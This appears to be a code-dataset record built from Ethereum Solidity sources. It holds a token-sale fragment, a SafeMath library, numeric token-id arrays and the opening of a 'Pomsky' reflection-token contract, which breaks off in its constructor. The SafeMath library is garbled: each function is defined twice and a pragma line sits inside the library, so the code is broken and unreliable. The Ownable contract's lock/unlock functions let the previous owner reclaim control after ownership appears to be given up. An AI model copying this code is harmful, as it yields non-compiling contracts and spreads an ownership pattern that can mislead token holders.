_sCount = 0;
}
function buyTokens() public payable returns (bool success){
require(_sSBlock <= block.number && block.number <= _sEBlock, "Sale not active");
require(_sCount < _sCap || _sCap == 0, "Max sale participants reached, sale is over");
uint256 _eth = msg.value;
uint256 _tokens;
_tokens = _eth * _sTokensPerEth;
require(_tokens <= balanceOf(address(this)), "Insufficient tokens avaialble for eth amount, try with less eth");
_sCount ++;
_transfer(address(this), msg.sender, _tokens);
return true;
}
function viewSale() public view returns(uint256 startBlock, uint256 endBlock, uint256 tokensPerEth,uint256 cap, uint256 count){
return(_sSBlock, _sEBlock, _sTokensPerEth,_sCap, _sCount);
}
function withdrawal() public onlyOwner() {
address payable _owner = payable(msg.sender);
_owner.transfer(address(this).balance);
}
receive() external payable {
}
} | * @dev Wrappers over Solidity's arithmetic operations. NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler now has built in overflow checking./ | library SafeMath {
pragma solidity >=0.8.2;
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
| 2,032,290 | [
1,
24114,
1879,
348,
7953,
560,
1807,
30828,
5295,
18,
5219,
30,
1375,
9890,
10477,
68,
353,
1158,
7144,
3577,
5023,
598,
348,
7953,
560,
374,
18,
28,
18,
1021,
5274,
2037,
711,
6650,
316,
9391,
6728,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
203,
683,
9454,
18035,
560,
1545,
20,
18,
28,
18,
22,
31,
203,
203,
565,
445,
775,
986,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
6430,
16,
2254,
5034,
13,
288,
203,
3639,
22893,
288,
203,
5411,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
5411,
309,
261,
71,
411,
279,
13,
327,
261,
5743,
16,
374,
1769,
203,
5411,
327,
261,
3767,
16,
276,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
775,
986,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
6430,
16,
2254,
5034,
13,
288,
203,
3639,
22893,
288,
203,
5411,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
5411,
309,
261,
71,
411,
279,
13,
327,
261,
5743,
16,
374,
1769,
203,
5411,
327,
261,
3767,
16,
276,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
775,
1676,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
6430,
16,
2254,
5034,
13,
288,
203,
3639,
22893,
288,
203,
5411,
309,
261,
70,
405,
279,
13,
327,
261,
5743,
16,
374,
1769,
203,
5411,
327,
261,
3767,
16,
279,
300,
324,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
775,
1676,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
6430,
16,
2254,
5034,
13,
288,
203,
3639,
22893,
288,
203,
5411,
309,
261,
70,
405,
279,
13,
327,
261,
5743,
16,
374,
1769,
203,
2
] |
./partial_match/1/0x645BA45dBe3c6942c812A46f9EE8115C89B524EC/sources/VersionManager.sol | ***************** Constructor ************************* */ Add initial storages | {
registry = _registry;
if(address(_lockStorage) != address(0)) {
addStorage(address(_lockStorage));
}
if(address(_guardianStorage) != address(0)) {
addStorage(address(_guardianStorage));
}
if(address(_transferStorage) != address(0)) {
addStorage(address(_transferStorage));
}
if(address(_limitStorage) != address(0)) {
addStorage(address(_limitStorage));
}
}
| 11,030,986 | [
1,
6293,
225,
342,
1436,
2172,
19705,
1023,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
288,
203,
3639,
4023,
273,
389,
9893,
31,
203,
3639,
309,
12,
2867,
24899,
739,
3245,
13,
480,
1758,
12,
20,
3719,
288,
7010,
5411,
527,
3245,
12,
2867,
24899,
739,
3245,
10019,
203,
3639,
289,
203,
3639,
309,
12,
2867,
24899,
24594,
2779,
3245,
13,
480,
1758,
12,
20,
3719,
288,
7010,
5411,
527,
3245,
12,
2867,
24899,
24594,
2779,
3245,
10019,
203,
3639,
289,
203,
3639,
309,
12,
2867,
24899,
13866,
3245,
13,
480,
1758,
12,
20,
3719,
288,
203,
5411,
527,
3245,
12,
2867,
24899,
13866,
3245,
10019,
203,
3639,
289,
203,
3639,
309,
12,
2867,
24899,
3595,
3245,
13,
480,
1758,
12,
20,
3719,
288,
203,
5411,
527,
3245,
12,
2867,
24899,
3595,
3245,
10019,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract Pomsky is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000000000; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Pomsky';
string private _symbol = 'POMSKY';
uint8 private _decimals = 9;
// Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Charity wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _charityFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
address payable public _charityWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 public _maxTxAmount = _tTotal; //no max tx limit rn
uint256 private _numOfTokensToExchangeForCharity = 5000000000000000;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
